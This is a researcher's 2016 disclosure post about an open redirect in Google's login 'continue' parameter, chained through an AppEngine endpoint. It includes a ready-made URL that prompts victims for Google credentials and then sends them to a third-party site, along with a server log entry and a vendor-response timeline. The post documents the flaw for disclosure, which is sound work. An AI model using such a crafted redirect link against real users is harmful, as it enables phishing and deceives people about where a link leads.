Google Open URL Redirection Vulnerability which does the Social Engineering part too.


Twitter: @teh_h3ck

Email: vag[d0t]mourikis[@]gmail.com


Open URL Redirection definition, quoted by OWASP:

"An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it."

I found the continue GET parameter quite interesting in google applications.

https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/&ss=1&scc=1&ltmpl=default&ltmplcache=2&emr=1&osid=1#identifier

If I modify the continue GET parameter with a custom non-Google (third party) url. This resulted to an expected 404 error.

https://accounts.google.com/ServiceLogin?continue=https%3A%2F%2Fvagmour.eu%2F&service=ah

Next, I found a url that contained the continue GET parameter and I put myself to thought on how this could be used to help me accomplish my mission: URL Redirection.

For the bypassing part, I used the following url: https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3D

I first tried to use appengine.google.com as the redirection endpoint but I received an error due to a missing authentication value, collected in the login process:

redir_error

In the meantime I set up the custom url in my webserver:

https://vagmour.eu/_ah/conflogin/  

with the following image for the lulz:
gmail

If a malicious user sends the following url to a victim:

https://accounts.google.com/ServiceLogin?continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2Fvagmour.eu%2F&service=ah

It will prompt him for his Google credentials:

Then, he would be redirected to the site specified in the continue GET parameter.

vagmour_redir

Logs from the nginx server:

141.xxx.xxx.xxx - - [29/Jun/2016:19:07:13 +0300] "GET /_ah/conflogin/?state=~AJKiYcFLp5x20nQY0NIp1ulrRE9hssO47z1naxH4xliuqrpBEVLVxkYEzpaR02bwnvs-xIKHCVHbzwFKg4J4C6udqTtmbhd8WdYq3lsYic5J4LWddy7S36NMfY4KNozOg9EW0GeMy7Jh7vURNuq7Y5_Rm-IVxVpyO35q7SfzU2MxTgEBbP11C2jYXMpAvwhKegiezJR_YW8CSLD7WHzfKsMhlOx2Jbkv3aG_e_dJi5OYMG3AP_C4FPIYn1UV5jKWQCOCYRkjmPShYfX4k_-eP65W5MPu8dXvjg HTTP/1.1" 200 613 "https://accounts.google.com/ServiceLogin?continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2Fvagmour.eu%2F&service=ah" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17"

Proof of Concept Video

The open redirect vulnerability works across all browsers and across all operating systems (mobile OS included).

I am open to any further responses and questions. Email me at vag[d0t]mourikis[@]gmail.com to share your opinion.

Thanks for reading this post.

Timeline

29th of June 2016 | Vendor Contact.

30th of June 2016 | Vendor replied that the bug is triaged and will be further investigated.

30th of June 2016 | Vendor replied that the bug does not affect the confidentiality or integrity of Google users.

30th of June 2016 | I sent further details about the bug.

1st of July 2016 | Vendor replied that redirection is part of the AppEngine login flow. "The open redirector itself is not a security vulnerability".

2nd of July 2016 | I asked more information about why is the redirection to third party websited is allowed after the Google authentication.

2nd of July 2016 | Vendor replied that the redirection is part of the appengine application.

2nd of July 2016 | I replied that the redirection is part of the login process, as the redirection does not work with the appengine application itself.

4th of July 2016 | Vendor replied that the app is working as intented.

5th of July 2016 | Public disclosure.